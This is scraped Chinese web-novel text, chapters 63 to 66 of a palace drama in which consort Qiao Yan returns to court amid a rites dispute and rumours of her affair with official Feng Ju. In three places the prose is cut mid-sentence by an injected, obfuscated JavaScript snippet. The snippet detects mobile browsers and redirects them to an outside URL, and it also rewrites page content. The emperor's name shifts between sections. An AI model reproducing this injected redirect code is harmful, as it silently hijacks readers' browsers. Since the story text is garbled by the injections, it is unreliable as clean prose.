从孝道上讲,养母有抚养之恩,从礼法上讲,已记入宗室玉牒,乔燕就是他的“母妃”,按如今的宗法制度,名分大于血缘,如此一来,生母孙太妃反而成了庶母,身份尴尬了起来。 从前曾有一朝,皇帝在过继后仍想封生母为太后,三纲沦丧,混淆宗法,最终引发文臣死谏,左顺门外血流成河。前朝的“大礼议”事件历历在目,李琢异想天开地想要尊三位太后,几乎可以想象会有怎样的血雨腥风。 如果李琢是一个由大儒授学,在礼法规训下长大的宗室,他就不会提出这样惊天动地的想法了,但可惜,偏偏他不是。 乔燕道:“他不会成功的。” “可不是嘛,这一下子群情激愤,嚯,那些大臣们,从没有这般意见统一过,今儿跪谏,明儿哭谏,奴婢看,下一步就是要死谏了。原本圣上打算,尊您为太后后,便可借机接您回宫,但如今圣上骑虎难下,就这么僵持着,不好再开口恕您,倒是苦了您,平白在这里受累。” 顿了顿,唐直抒又道:“圣上年纪尚小,还在进学,康慈太后早早驾薨,孙太妃又不顶事,没人教他个是非对错,拿出个做皇帝的章程来,只能任那些文臣搓扁揉圆了,主少国疑,如今朝廷党争,权益搏斗,真是一点不避着君上啊!娘娘,要是您能回去摄政就好了!” “何来名分……” “先帝遗旨,命您监国,这不就是最大的名分吗!” 乔燕沉默不语,唐直抒看得出来,她有些动摇了,不由加了把火:“娘娘,寒山孤寂,连个说话的人都没有,您就真甘愿在这里呆一辈子吗?冯侍郎递了奏折,年底回京述职,您不想见他一见吗?” 乔燕盯着他:“到底是谁要你来做说客的?” 唐直抒长长地吐出一口气,苦笑道:“瞒不过您。次辅乔阁老确实过府喝了一次茶,但老奴之所以答应他,亦有私心,娘娘,您这一步步走来,奴婢都看在眼里,奴婢由衷的希望您过得不要这么苦。” 乔燕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116346|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里微暖,抬头看向窗外。 那两只长尾山雀又来了,也不知它们的窝做在何地,每日里都跳到窗前枝条上晒太阳。看着它们依偎的背影,乔燕心头微涩,短暂地想起了赣榆县的那段时光。 那段记忆,是她十岁以后,为数不多的,自由又畅快的时光。她不是乔家女,不是李家妾,不是太妃,不是养母,无人要她上歧路,也无人催她回头。她只是她,是无数重身份下,那个不被人见到的她。 好奇怪,做“乔燕”时,她不再是自己。而做无名无姓的“高氏”时,反而拥有了自我。 但是回去宫城,真的又是她所愿吗? 乔家要她回去做靠山,宫人指望着跟她回去享福,就连唐直抒,也想她回去摄政。但是她自己呢? 三日后,大概是算着唐直抒已经劝进过一轮,深夜里,乔广川亲自前来。 乔燕与之密谈,乔广川允诺,有先帝遗诏在前,如今朝堂又因为“礼议”一片混乱,伺机让她回去并非难事。只是待她回去,总揽皇权,要助他升任首辅。 乔燕于是应承恭候佳音。 乔广川得了准信,匆匆又要离开,他此行私自前来,务必要在翌日晨议前赶回京师。乔燕送走人,正待歇息,却听花厅外于海说道:“娘娘,乔詹事觐见。” “……谁?” 宜婵低声提醒:“乔二郎呀!您忘了,他如今仕于詹事府。” 二哥?他也跟着大伯来的?怎么没有一起离开?乔燕心下疑惑,重新在太师椅上端坐,吩咐宜婵奉茶。 下一刻,门扉大开,斗篷遮面的男人走了进来。 进了门,他先除去斗篷,整冠行礼:“微臣见过太妃娘娘。” 斗篷下是一张坚毅的脸,不知何时蓄上了胡须,乔燕一时恍惚,几忘了上次见面是何时。 “二哥何必多礼,请坐吧。” 乔湛抬头,亦是目光复杂地端详着这大变模样的妹妹。他们多久没见了?三年?五年?为何物是人非如此,竟一时难以记起从前五妹内向娇憨的模样。 “……谢娘娘,微臣不坐了,微臣半途折返,只是因为有一句话想亲自问候娘娘……五娘,你近来可好?” 这句话仿佛有魔力似的。 乔燕霎时拥有了莫大的委屈,热泪盈眶。 乔湛一时失措:“五娘……” 乔燕摇摇头,用袖子擦掉眼泪,笑了起来:“二哥这是什么话,我哪有不好的。” “这宫外清冷,却也避世自在,我知道娘娘自请离京,只是到底想问个清楚,不知道娘娘来此是心甘情愿还是迫不得已。” “心甘情愿如何?迫不得已又如何?” 乔湛注视着她,许久才掷地有声地开口:“若您不想回京,就不回了。如今的乔家已站稳脚跟,不差你那点扶持,伯父一心光复门楣,全然不顾对侄女儿敲骨吸髓,可哥哥心里有愧……你若坚持不回,这点事,二哥还担得住。” 乔燕心头大震,眼泪再收拢不住,一个劲的往外冒。她失态地起身,抱住二哥的腰,将头埋进他怀里,呜呜地哭着,好像要把这些年的委屈都哭干净似的。 乔湛浑身一僵,良久,才放松下来,环住她的肩,哄孩子一样地拍了拍。 “二哥,我想姨娘了……我好想她……” 乔湛沉默。乔燕想的不止是生母,她更怀念的是那段无忧无虑,被人无条件护在怀里的时光。 有什么堵在胸口,压得他喘不过来,他长长地吐出口气,“对不住……” 乔燕摇摇头,平复好心情,重新站直,脸颊微红,为方才的失态而感到赧然。一通宣泄后,她心头无比的轻松:就如浮萍生根,任水流湍急,都冲不走她了。 “我要回去,”乔燕神情坚定,“我要回京,恒……圣上年轻无助,我是他母妃,得护着他。我有要做的事,亦有想见的人。这里什么都没有,我住够了!” 顿了顿,乔燕又道:“二哥,如果有天我做了天大的错事,令乔家蒙羞,乔家还会认我吗?” 她笑意宛然,仿佛只是随口一问,但乔湛敏感地察觉到,他即将出口的答案对她来说非常重要。 就好像……她已经预感到了什么。大浪滔天,无法躲避,亦无法回头。 64. 流言 十一月中旬,一封信快马加鞭,由天寿山常静园送往宫城,辰时已置于文渊阁的书案上。 一双养尊处优又满是沧桑的手拿起了它,端详片刻,原封不动地放回了桌上。他没有拆封的原因很简单,信封上的收信人写着今上的小名。 手的主人穿着大红补服,胸前绣着白鹤,那双曾捏过信封的手整了整袖边与衣襟,托起案角的乌纱帽,戴于头顶。最后,他重新拿起信,收于袖袋,就这么走出了文渊阁。 “乔部堂,早。” “下官见过乔阁老。” “乔阁老,……” 一路所见同僚百官,纷纷拱手寒暄。乔广川面上含笑,不论官职大小,俱点头回礼。 “乔阁老,这是往颂德殿去啊,今日轮到您给圣上讲学啦!” 听到这句,乔广川脚步微顿,简单回道:“元辅临时要开大经筵,不仅是老夫,恐怕不多时元辅亦要前来。” 从前皇帝经筵多开在文华殿,但自慜帝的几筵设于文华殿的配殿主敬殿后,先帝驾崩,礼部图省事,仍将主敬殿作几筵殿。 新皇帝只好另设经筵殿所,乃是位于东宫西面的颂德殿。 辰时三刻,小皇帝来到颂德殿,眼下青黑一片。他每日里寅时起床,寅时二刻召内阁与司礼监开晨议批红,辰初吃早饭,吃完早饭就得赶到颂德殿听大儒们讲课,片刻也不得歇,走过来的这些路权当消食。 本就是抽条长个的年纪,继位半年,不仅个子没长,人还瘦了一圈,跟竹竿似的,龙袍套在身上都空荡荡的。莫怪历代皇帝不寿,李琢深觉,再这么下去,自己也要早夭了。 李琢到的时候,两位阁臣、翰林学士并曾经的长史束、宋二人,俱已站立在座位前。他恹恹地来到主座前,向下一瞥,看到今日桌上放的不是尚未讲完的《大学》,而是《礼记》、《皇齐祖训》和《大齐乐典》,顿时明白宴无好宴。怪不得首辅突然要开大经筵,原来是设了鸿门宴,要为尊太后一事继续和他掰扯呢。 先太后为嫡母,惠禧太妃为记在玉牒的礼法母亲,孙太妃却是他的生母!他堂堂皇帝,竟然连尊生母为太后都不行!大齐以孝知百姓,轮到他这个皇帝的时候,孝道却要排在礼法之后,岂不荒谬?! 可惜满朝大臣,竟无一人支持他,就连素来亲近的束阳与宋则,这次都站在了他对面,这让他不解、愤懑、怨恨……孤军奋战到如今,已经转化为了惶然和无力。 他开始忍不住想,难道真是他错了?连孝道和皇权都要给“礼法”让道,“礼法”就当真这般重要?当真这般不可撼动吗? 可这些疑问无法斥之于口,也不会有人,站在他的角度,为他耐心讲解。很多个惶惶不可安眠的夜晚,他开始想念惠禧太妃。如果太妃在就好了……太妃会理解他,太妃会把所有事情都解决掉…… 皇帝脸色沉郁,座下却都是千锤百炼的人精,只作不见。 于是大臣先行臣礼,学生再行师礼,双方见完礼,方落座。 一场经筵,全都围绕着“礼法”,这几天朝上朝下争了又争,李琢早就知道论口才,自己远非这些文臣所比,于是今日干脆连话都懒得说,不论首辅讲什么,只当他在念经,一应点头便好,实际上一心两用,已经在思念刚刚早饭吃的桂花糖三角了。 一个时辰的经筵结束,不管念经的还是听念经的,都露出了疲色。首辅温却疾因为坐得太久,刚站起来就腿软跌坐回去,殿里的太监忙上前搀扶,李琢说道:“元辅年迈不支,赐辇。”温却疾拱手谢恩。 总算送走几位大臣,李琢松了口气,正要快点回寝殿,抓紧有限的时间休息片刻,却在看到座位上还坐着一人时顿住了。 “乔卿,呃,不回么?” “回圣上,臣乃特地留下,”乔广川起身行礼,“今日收到常静园送来的家书,臣不敢擅自打开,还请圣上一观。” 说完,他从袖子里取出信,托于双掌,太监吴汲看了眼李琢,得到示意后接过信封,拆开检查。 李琢眼睛明亮,等不及地问道:“是不是母妃写给朕的?” 吴汲笑道:“正是。” “还检查什么!快给朕!” 吴汲已经摸完纸张,“嗳”了一声,交到李琢手上。李琢兴奋地接过,一开始还含着笑,看着看着,却渐渐红了眼眶,落下泪来。 “圣上!您,您怎么了!”吴汲慌道,看向乔广川,指望能从他那里看出点端倪,却只见乔广川规规矩矩地低着头,好像什么都不知道。 “朕没事。” 李琢抹了把眼睛,忍不住又把信从头看了一遍,合上纸,闭目叹道:“母妃竟不忍见朕为难,主动让位于朕的本生母,自愿屈居太妃。还说,若还有争议,便重改玉牒……” 吴汲一惊,心道:乔太妃这招以退为进用得极妙,恐怕不多时,这宫里要多一个尊荣无双的乔太后了啊! 只听李琢继续悲声道:“孙娘娘生我养我,呕心劬劳,朕一心尽孝,可乔娘娘教我救我,对朕来说何尝不是恩重如山,朕怎好负她……乔卿,惠禧太妃给你这封信时,可曾说什么?” 乔广川说道:“不瞒圣上,关于这封信的来去,臣与娘娘实有过争执。臣起初以为她又要插手朝事,碍于礼法,不仅拒不收信,反而斥责娘娘不该牝鸡司晨,一错再错。娘娘泣曰:圣上是她儿子,也是臣的侄儿,舅舅给侄儿捎带家书,何错有之。臣陡然醒悟,礼法之重,如石如铁!竟不恤在纲常之外,亦有血肉亲情!” 说道这里,乔广川跪地叩首:“圣上,臣有错,在元辅他们手持礼法逼迫您低头时,臣不该冷眼旁观,百善孝为首,圣上赤子之心,令臣动容。此次动身前,娘娘亦叮嘱臣,要好好护着您,不能让您寒心。” 听他一番剖心之言,少年坐在椅子上,情绪跌宕起伏,泪流不止,难以自抑。 他忍不住想起这段时日,每每去生母孙氏的宫里,听到的只有催促和埋怨,孙氏想要太后之尊,他理解,可是……人心是肉长的,他两面为难,孙氏却看不到。 许久,才勉强道:“舅舅起身吧……只有母妃会体谅朕的难处,处处为朕着想,这世上,只她一人!可恨朕先前竟真动过褫她封号,尊生母上位的念头,是朕不义不孝……天寿山冷不冷?隆冬之节,怕是不好过,朕狠心至此,让母妃在那里蹉跎,她却不怨我……” 翌日朝会,又是大争一场,首辅年迈,被圣上无赖之言气得昏厥过去,被太医救醒。最后,圣上和大臣各退一步,圣上不再坚持封三个太后,大臣们也默许他接惠禧太妃回京。 十一月廿日,圣上诏:尊惠禧太妃为惠禧皇太后,本生母孙太妃为圣慈皇太贵妃。 至此,持续半年之久的礼议落幕,总归算文臣们稍占上风。 诏书尚未发至全国的时候,一队仪仗已经驶出京城,前往天寿山。五日后,西六宫之中,占地颇大、华贵非常的端宁宫修整一新,迎来了新的主人。 回京后,皇帝日日请安,处处慰问,宫人诚惶诚恐,事事周到,乔燕颇是过了几天舒心日子。 一日大朝会,福建传来消息:与倭寇一战大胜,倭寇暂时退去,但战后狼藉,百废待兴,亟需犒军物资,盼朝廷定夺。此外,锦衣卫带来钦差冯矩的密奏,言明福建与倭奴战数十场,败多胜少,最后因天气骤冷,倭奴之中传起疫病,这才议和,福建总督瞒而误报,请求的军需也是为了议和赔款,请朝廷严惩。 福建总督田松乃长公主驸马的亲侄子,富商出生,擅钻营,以金钱结交了许多重臣,此次事发,许多大臣出面为他求情,不等皇帝发话,自有不阿权贵的直臣、谏臣、清臣出面喝骂,最后两方甚至大打出手,只留皇帝一个人孤零零地坐在上首,无人搭理,颇为可怜。 下了朝,皇帝憋了一肚子气,思来想去,来到端宁宫。 “朕自幼薄学,不事朝政,人人皆知。皇兄临终前,曾当着九卿的面,要母妃您在朕继位后继续垂帘听政,待朕加冠后再还政,如今您既已回宫,此事自当实现。” 李稷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116347|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在位时,乔燕处处避嫌。但如今的皇帝是她名义上的儿子,又有先帝遗诏在先,再无推拒的道理。 更何况这半年的清苦日子,让她深刻领悟了一件事:既已深处旋涡中心,便再无抽身之理,不论是一心往上爬的乔家,还是绑在一条船上的皇帝,都在推着她往前走。要么握住权势,安稳地活下去,要么不争不抢,被洪流吞噬。 想要垂帘听政,也要内阁首肯,不过有乔广川在其中操作,想来并非难事。这些就不是乔燕能操心的了,年关事多,各科忙成一团,公文挤积压如山,晨议批红往往要延长一两个时辰,皇帝连午膳都来不及吃,只好把经筵和午朝都暂时取消了。 乔燕听皇帝请安时抱怨过两嘴,料想垂帘听政之事怕是要到拖到年后了,于是更不着急,每日晨起梳妆,读书赏雪,时不时吃些宫人奉上的各色点心,困倦时便点上熏笼,倚榻而睡,好生自在。 到了年关,不仅外朝事多,宫内同样忙了起来,乔燕看到宫人来去匆匆,有时陡然见到她时甚至会露出惊乍神情,也不以为忤,但次数多了,难免还是在意起来。 这天,她喊来于海,问道:“可是宫里出了什么事?” 于海摇头。乔燕追问,他只能苦笑道:“奴婢整日呆在宫里,也只听了个大概,不知真假……娘娘还是不要问了。” 乔燕脸色一沉:“是本宫平日太过和善,奴大欺主,问你话都敢搪塞推阻了吗!” 于海扑通跪地,扇了自己一掌:“娘娘息怒,奴婢直言不讳,但请您不要动怒。近日宫里有流言,说,说您曾与户部侍郎冯矩苟合,且孕有一子……” 偷偷抬眼看到乔燕脸色骤然苍白,于海忙道:“娘娘莫急,子虚乌有之事,想来很快就会止息。” 许久,头顶传来声音:“你下去吧。” “是。” 于海不敢耽误,更不敢抬头,躬着背退了出去。 日光如雪,明晃晃地照进窗户。 不用于海言明,乔燕也知道,流言都已经传到宫里了,在民间想必更是甚嚣尘上。当朝太后与重臣的香艳秘事,谁不想多听两耳朵。 那段宫外往事,这些跟着她的宫人们并不清楚,所以于海才会劝她是“子虚乌有”之事,可她心里清楚,这些都是真的,所以才会在东窗事发的第一时间感到心头发麻。 最初的慌张退去,涌上的是无比羞怒。 到底是谁传出来的?又是用作了哪段勾心斗角的筏子? 乔燕逼自己冷静下来,细细思索。 在赣榆县那段日子,她和冯矩在人前素来注意分寸,也只有百户秋淼知道他们的关系。但是看冯矩对秋淼的态度,那自是可信之人……不不,这世上没有永远的忠义,此前她对付江知礼,不正是利用了江知礼对宋瑜的信任吗? 想到这里,乔燕找来金春山,让他借着出宫的机会打听一下秋淼的消息。很快金春山就回话:秋淼不在京内,跟着冯矩去福建开海了。 乔燕心里生出些许颓丧,很快又打起精神 不,不,是她心虚所以乱了套,既为流言,空口白牙也能造谣,何需证据。只是不知有意无意,竟踩得这样准,一下打中了七窍。 流言一夕之间风靡,必有人为。 这是针对她的,还是冯矩? 东窗事发,等言官得到消息,劾本一奏,她将千夫所指,垂帘听政是听不得了。而冯矩亦会是众矢之的,秽乱宫闱,降职都是轻的,冯矩最近本就因揭发福建总督偷偷议和之事成为了不少大臣的眼中钉,此事一出,他将再无相抗之力。 好一招围魏救赵,一石二鸟。 可是她如今还能做什么呢? 腊月朔日,果然有言官上奏,一石激起千层浪,顿时在朝野掀起无数诘责讨伐之声。 垂帘听政之事,自然也不了了之,更甚者要将太妃送去庙里出家为尼。 圣上只能下旨,召冯矩回京,彻查此事。 于是,一骑出京,快马加鞭,携旨前往福建。 65. 指婚 大年三十,宫中照例摆除夕宴,大雪,元辅温却疾下轿子时滑了一跤,宫门尚未入,就被家人抬了回去。临行前,他还颤巍巍地由人扶着朝金銮殿的方向行了一礼,给圣上拜年。 不想,元辅这一去,竟瘫在床上,再也没能爬起来。崔院判亲自行诊,道是邪风入体,余生恐怕只能在床上度过了。 过完年,乃为咸平元年。 正月初五的大朝会上,圣上点头,次辅乔广川顺理成章地升任首辅,不是没有人拿“乔太后不贞”说事,被皇帝淡淡一句“无有证据莫要生谣”压下。 说来讽刺,乔广川为了这个首辅头衔费尽心思,唯恐温却疾身体硬朗,自个儿熬不出头,为此特地将太后请回宫,只待内外联手,压朝臣一头。 哪知道,命运将他日思夜想之物轻描淡写地丢过来,万般手段,都好似成了一场笑话。 这天午后,风雪交加,一辆灰扑扑的马车停在冯府前。 身形高瘦的男人从马车里出来,转身仍掀着帘子,一双女人的手抱着襁褓伸了出来,男人小心翼翼地接过,熟稔地单臂抱在怀里,抬起另一手的袖子为婴儿遮雪。 女婴以为玩闹,抬手捉袖子,咯咯直笑。 女人也从马车里钻了出来,含笑看着父女互动,一句“老爷”还未说完,只见斜地里陡然冲出一道人影,一拳揍向了男人的脸。 “老爷!” “啊——” “住手!!你是什么人!” 好一顿人仰马翻。 一盏茶后,冯府花厅里,冯矩坐在椅子上,一只手握着包着冰块的汗巾捂在嘴角,神情颇有些无奈。 “嘶——下手真重。乔四,这么多年,你怎么还这么爱打人。” “打的就是你!” 乔翀怒容未歇,坐在他对面喘着粗气:“现在没人,你跟我说一句真话。我问你,京中流言,你和我五妹妹,是不是真的,真的……” 那个有些污秽的词他实在没法用在妹妹身上。 冯矩道:“是真的。” “我杀了你!” 乔翀拍案而起,又是一拳揍了过去,冯矩没有躲闪,然而拳头最后还是在离他鼻子一寸的地方硬生生停住了。 “那方才那个孩子?” “是我们的,”冯矩唇角有了一丝笑,温柔地道,“她叫冯晞,还有个五娘取的小名,葭月儿。” 乔翀仍旧恶狠狠地盯着他,语出惊人:“你既和五娘好上,还有了孩子,为何还要找别的女人?我看你就是找打!” “我没有!” “还说没有,刚刚从马车里下来的那个不是?我全都看到了!” “不是,那是孩子的乳娘,”冯矩叹息,“也是五娘找的。叫做程寿,宫里出来的女官,听闻从前在宫里时,曾受恩于五娘,她出宫后嫁作商妇,谁知怀着孩子时,丈夫行商失踪,只留下孤儿寡母两人,恰好那时五娘仓促生女,到处找乳母,才机缘巧合找到她。” 他又道:“此事五娘不曾露面,程寿也并不知孩子生母是谁,你别说漏嘴了。” 乔翀安静了下来:“你和五娘,是怎么会走到这一步的?” “情不知所起。” “五娘比你年幼,她性子有点冲动,但你素来恪守慎行,你为什么不,不有所止呢!” “我也会有冲动的时候。” “你们没有想过会有怎样的后果吗?” 冯矩面色平静,平静到有一丝绝望,好像这个问题他早已叩问过自己千万遍,也早就有了千万遍如一的回答。 “想了,但也没用。那时候,哪怕知道后果如何,也只能义无反顾地沉沦下去。” 到底是谁先拉着谁堕去?并不重要,感情没有先后,情到深处,恐怕只剩了至死方休。 那时候他确实想过死字,那她呢?是什么支撑着她一头扎下深渊? “云飞,不是所有事物都能受人掌控,世事如此,人心也如此。坦白讲,我后来确实后悔了,我很长一段时间都害怕暴露,女子失节,比男人遭受的要可怕的多……可是一切已经发生,说这些也没用了。” 乔翀很长一段时间没有出声,他呆呆地坐着,眼睛盯着下方,不知道在想什么,许久,他才涩然道:“流言愈甚,积毁销骨,她最近的日子着实不好过,听二哥说,每日都有言官上奏弹劾,皇帝起初还能压下,时日一长,还是要给个交代。” 冯矩轻声问:“要什么交代呢?” “我也不知道。我回家和二哥商量一下再来找你。” 乔翀走后,冯矩又在原地坐了很久,那种绝望的感觉又在撕扯他,很多个日日夜夜他都是这么过来的。 是不是因为少年时曾发宏愿,既要海晏河清,天下昌盛,又想家和人兴,白首不离,惹怒上天:哈,你这凡人,甚贪心!偏叫你所求皆不应,所愿尽无成! 没有等到乔翀再访,夜深时分,冯府先来了个不速之客。 冯矩得到消息,匆匆赶到角门。年久失修的铁门朱漆剥落,经月色一照,别样荒芜。 冯矩提衣跪在角门下,“微臣不知圣上驾临,有失远迎!” 角门外停着一辆普通的马车,马车旁候着四个锦衣卫。而在角门前,立着一个细瘦的少年,玉簪束发,身穿黄色阑衫,生得平常,唯有一双细长湛然的眼,似极了他那驾崩的父兄。 今日下午,冯矩已经入宫面圣过,当时皇帝甚至没有见他,只让人传话,有事翌日朝会再说。 “免礼。有话进去说。” 少年神情淡漠,抬脚便往门内走,等他走远两步,冯矩方站起身,与一个面生的太监一起跟在皇帝身后。 走到一处岔道,少年皇帝停住脚步,冯矩上前一步,站在侧后方,伸手一引:“圣上,这边请。” 很快,在冯矩的带领下,众人来到书房前,李琢让太监吴汲留在外面,只带着冯矩入内。 李琢慢慢走到屋子中央,负手站定。 “宫里人多口杂,有些话朕不便说。朕问你,你和太后的流言是真是假?” 少年虽身形尚幼,却已有上位者的威严。有那么一瞬间,冯矩感到自己面对的是慜帝。也许李家人总是一样的,相同的帝王血脉流淌在他们身体里。 冯矩沉默不言,李琢懂了,许久后,淡淡道:“把孩子抱来朕看看。” “圣上!万般有罪,罪在臣躬,孩子还小,什么都不知道!” 李琢轻蔑不已:“你怕什么,朕不会伤她。朕只是想看看,玷污了皇室血脉的孩子是什么模样。怎么,你不动身,是要朕命锦衣卫去把人抢过来吗?” 话已说到这个份上,再拒绝就是抗旨,冯矩只能亲自出门,去把孩子抱了过来。 幼儿嗜睡,走来这一路都没醒。 李琢盯着她的小脸,脸上的厉色渐渐消退。 她还这么小,出生不过一年零两个月,过完年才两岁,连路都走不稳,小小的身子陷在襁褓里,在父亲熟悉的怀抱里睡得格外香甜。 “她和太后生得好像。”李琢轻声说。 自古女儿肖父,可葭月儿偏偏长得像母亲,这对她来说并非好事,如今眉眼还不显,又养在闺中,可等她长开了,恐怕见到她的人都会怀疑她的生世。 来之前,李琢想过,为了皇家名誉,最坏不过把孽障杀死在襁褓里。可当真见了面,他发现自己实在无法对这样一个一无所知的婴儿动手。 李琢听到自己喃喃:“……她也是我妹妹。” “她叫什么?” 冯矩微松了一口气,“小字葭月儿。” “葭月儿,葭月,她原来生在十一月啊。” 这时,也许是两人谈话声太大,葭月儿嘟着嘴,睡眼惺忪地睁开了眼。她一下子就注意到了面前陌生的少年,可她一点不怕生,慢慢睁大眼睛,好奇地打量那人。谁都没有预料到,她忽然朝少年伸出小手—— “咯,哥……哥……” 李琢惊在原地,一瞬间,那种纯洁的信任彻底包裹住了他,他心头涌起无法言说的震撼和动容,蓦的眼眶微湿,轻轻握住了那只不过鸡卵大的小手。 “哥哥在呢。” 一旁的冯矩也吃了一惊:“圣上,这还是葭月儿第一次说话。” “是吗?”李琢嘴角微扬,心情大好。 玩了一会儿,女婴打了个哈欠,眼皮半耷,冯矩将其送走,回来时,似乎在短暂的路程里下定了某种决心,显得心事沉沉。 他阖上门,忽然跪在李琢身前。 “圣上,臣想娶她。” “什么!?” “臣想娶她,一片真心,天地可鉴,臣为此可以付出一切代价。” “荒唐!宫妃改嫁,古来未有之!”李琢厉声喝道。 冯矩抬头:“前朝太祖驾崩后,太宗继位,曾遣散部分宫妃回家另嫁。” “此事在史书中讳莫如深,尤其如今理学之风盛行,女子守贞如天子守国,矢志不渝,从一而终,你要朕如何冒天下之大不韪成全你?”李琢冷笑,平复了一会儿,忽然露出若有所思的神情,问了个风马牛不相及的问题,“先怀帝,朕的二哥,是否也知道你与太后的私情?” 冯矩心头微震,知道此事已经足够复杂,不能再将先帝也扯进来,于是按兵不动,反问道:“圣上何有此问?” 李琢眯着眼,目光仔细地从冯矩的脸上看过,许久,才说道:“此事只有一个解决方法——还太后清白。我要你不管用什么方法,给葭月儿找一个‘生母’,如果你做不到,朕给你赐一个也不是不行,其余之事,自有朕处理。” 说完,李琢已不耐烦在这里待下去,走向门口,却在动手拉门前停住,淡淡道:“放下你的痴心妄想,你要娶太后,可曾问过她的意见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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早朝究竟都发生了什么,冯矩一概不甚清晰,只记得在皇帝问话时,讲了一段在流亡的崖州与“亡妻”相识相知的故事。皇帝夸其义深情笃,又在最后说见不得冯卿为情所困,憔悴至此,赐婚一则。 冯矩大惊抬头,却只见少年皇帝高坐明堂,意味深长地朝东内间看了一眼,复又看向他。 他下意识跟随皇帝的目光看去,只见东内间门户洞开,门口垂帘,里面隐约端坐一道女人的倩影,好似也正面无表情地看着他的方向。 那一瞬间,他感到身形一轻,宛如连日沉疴都尽去了,大脑一片空白,什么都不愿再想。 “微臣叩谢圣上恩典,圣上千秋万岁。” 等到回府,他已经恢复如常。下马车时,驾车的黄胜狐疑发问:“出了什么事了吗?您心情怎么这么好。” “啊,确实有则喜事。”冯矩含笑说道。 “什么喜事?” “圣上赐婚,算不算喜事?” “算!怎么不算!”黄胜大喜,“圣上居然如此操心臣子家事,真是个明君。他给您赐的哪家小姐?您见过没?可要小的去帮您找个画像来?” “不必了。” 黄胜摸了摸脑袋,心道这回的是哪个问题?不过没有纠结多久,他又乐滋滋地问:“婚期可定了?这府上一年多没住人,好几个院子没有打扫,府里什么都没有,您看您这院子,原本种的银杏都被雷劈了,这也得收拾吧。婚期是什么时候?我们得提前准备啊!” “还未定,天子赐婚,怕是要等钦天监算过日子。” “噢……”黄胜面露遗憾。 冯矩已经大步走到偏房,敲了敲门,程寿拉开门,怀里抱着孩子。“给我吧。”冯矩说着,熟练地接过孩子,去到书房。 他照例陪女儿玩了会儿,玩累了,坐在窗边榻上,葭月儿坐在膝上,睁着圆溜溜的杏眼看他。 今日雪停,阳光破云而出,一片岁月静好。 “葭月儿,来,叫爹爹。” 葭月儿咯咯直笑,又挥手,兴奋地喊:“哥、哥!” “不是哥哥,是爹爹。” 就这样不厌其烦地教了好久,久到他有些累了,葭月儿也静了下来,忽然握住他的食指,发出字正腔圆的音节:“爹。” 冯矩怔住,一种莫名的感动涌上心头,正要微笑,却听葭月儿又道:“娘……” 笑容还未展开,便凝固住了。强忍一天的若无其事,被短短一个音节轻易粉碎。 如果知道两心同,他还能有所慰藉,凭此支撑下去。 可今日方知,原来他的视若珍宝,却是她的避之不及。 霎那间,冯矩肝肠寸断,他把女儿紧紧抱在怀里,佝偻下腰,哽咽出声:“好月儿,你没有娘了,我也没有她了……你只有我,我也只剩你了。” 66. 贞节 天刚泛起蟹壳青。李榷从养心殿出来,往西六宫后的寿安宫走去。 孙太贵妃住在寿安宫的东配殿。李榷到的时候,殿门才开,两个小宫女正拿着长掸子扫廊下的灰,见了他,忙跪在地上。他没理会,径直走进次间。 孙氏刚起身,坐在镜前由宫女梳头,从铜镜里瞧见他,没回头,只淡淡道:“圣上今日倒早。” 李榷在炕边坐下:“孩儿来给娘请安。昨夜睡得可好?” “好?”孙氏从鼻子里哼了一声,“有什么好?住在这配殿里,连个正经的暖阁都没有,地龙烧得也不旺,半夜脚都是冷的。” 李榷心里一堵。 大齐金玉其外,日渐式微,他也是继位后才知道,皇考在世时内帑就已没了进账。许多宫殿年久失修,是旧了点,但也是没办法的事。他已命司礼监加紧修缮正殿,也叮嘱过将炭火烧足。只是工程琐碎,总要些时日。 “正殿开春就能修好,到时阿娘搬过去,定比这里宽敞暖和。”他耐着性子道。 孙氏终于转过脸来。她生得细眉细眼,从前思虑甚重,鬓角星白,但最近养尊处优,好歹丰腴了些。 “住哪里,不还是个太贵妃?我生的儿子做了皇帝,我却连个太后的名分都挣不上,住再大的殿,也是笑话!” 李榷袖中的手慢慢握紧。 这些话,半年里他听了无数遍。起初还试着解释,后来便只剩沉默。 “礼部拟的仪注、用度,都是比照太后规格的,”他干巴巴地说,“宫里没人敢怠慢你。” “规格?我要那虚的做什么!”孙氏眼圈突然红了,“我就问你,我十月怀胎,拼死生下你,把你养到这么大,如今你坐在那龙椅上,就不能替你亲娘争一口气?那乔氏……她凭什么?” “母后她……” 李榷脱口而出,又顿住,看着生母瞬间更冷的脸,后面的话咽了回去。 殿内一时寂静。梳头宫女的手都僵了,大气不敢出。 半晌,李榷站起身:“娘先用早膳吧,儿……前朝还有事,先走了。” 他没等孙氏回应,转身出了次间。走到院中,隆冬的风刮在脸上,却吹不散胸口的憋闷。 “圣上……”吴汲凑过来。 李榷没理他,在原地站了片刻,脚步一折,往端宁宫的方向走去。 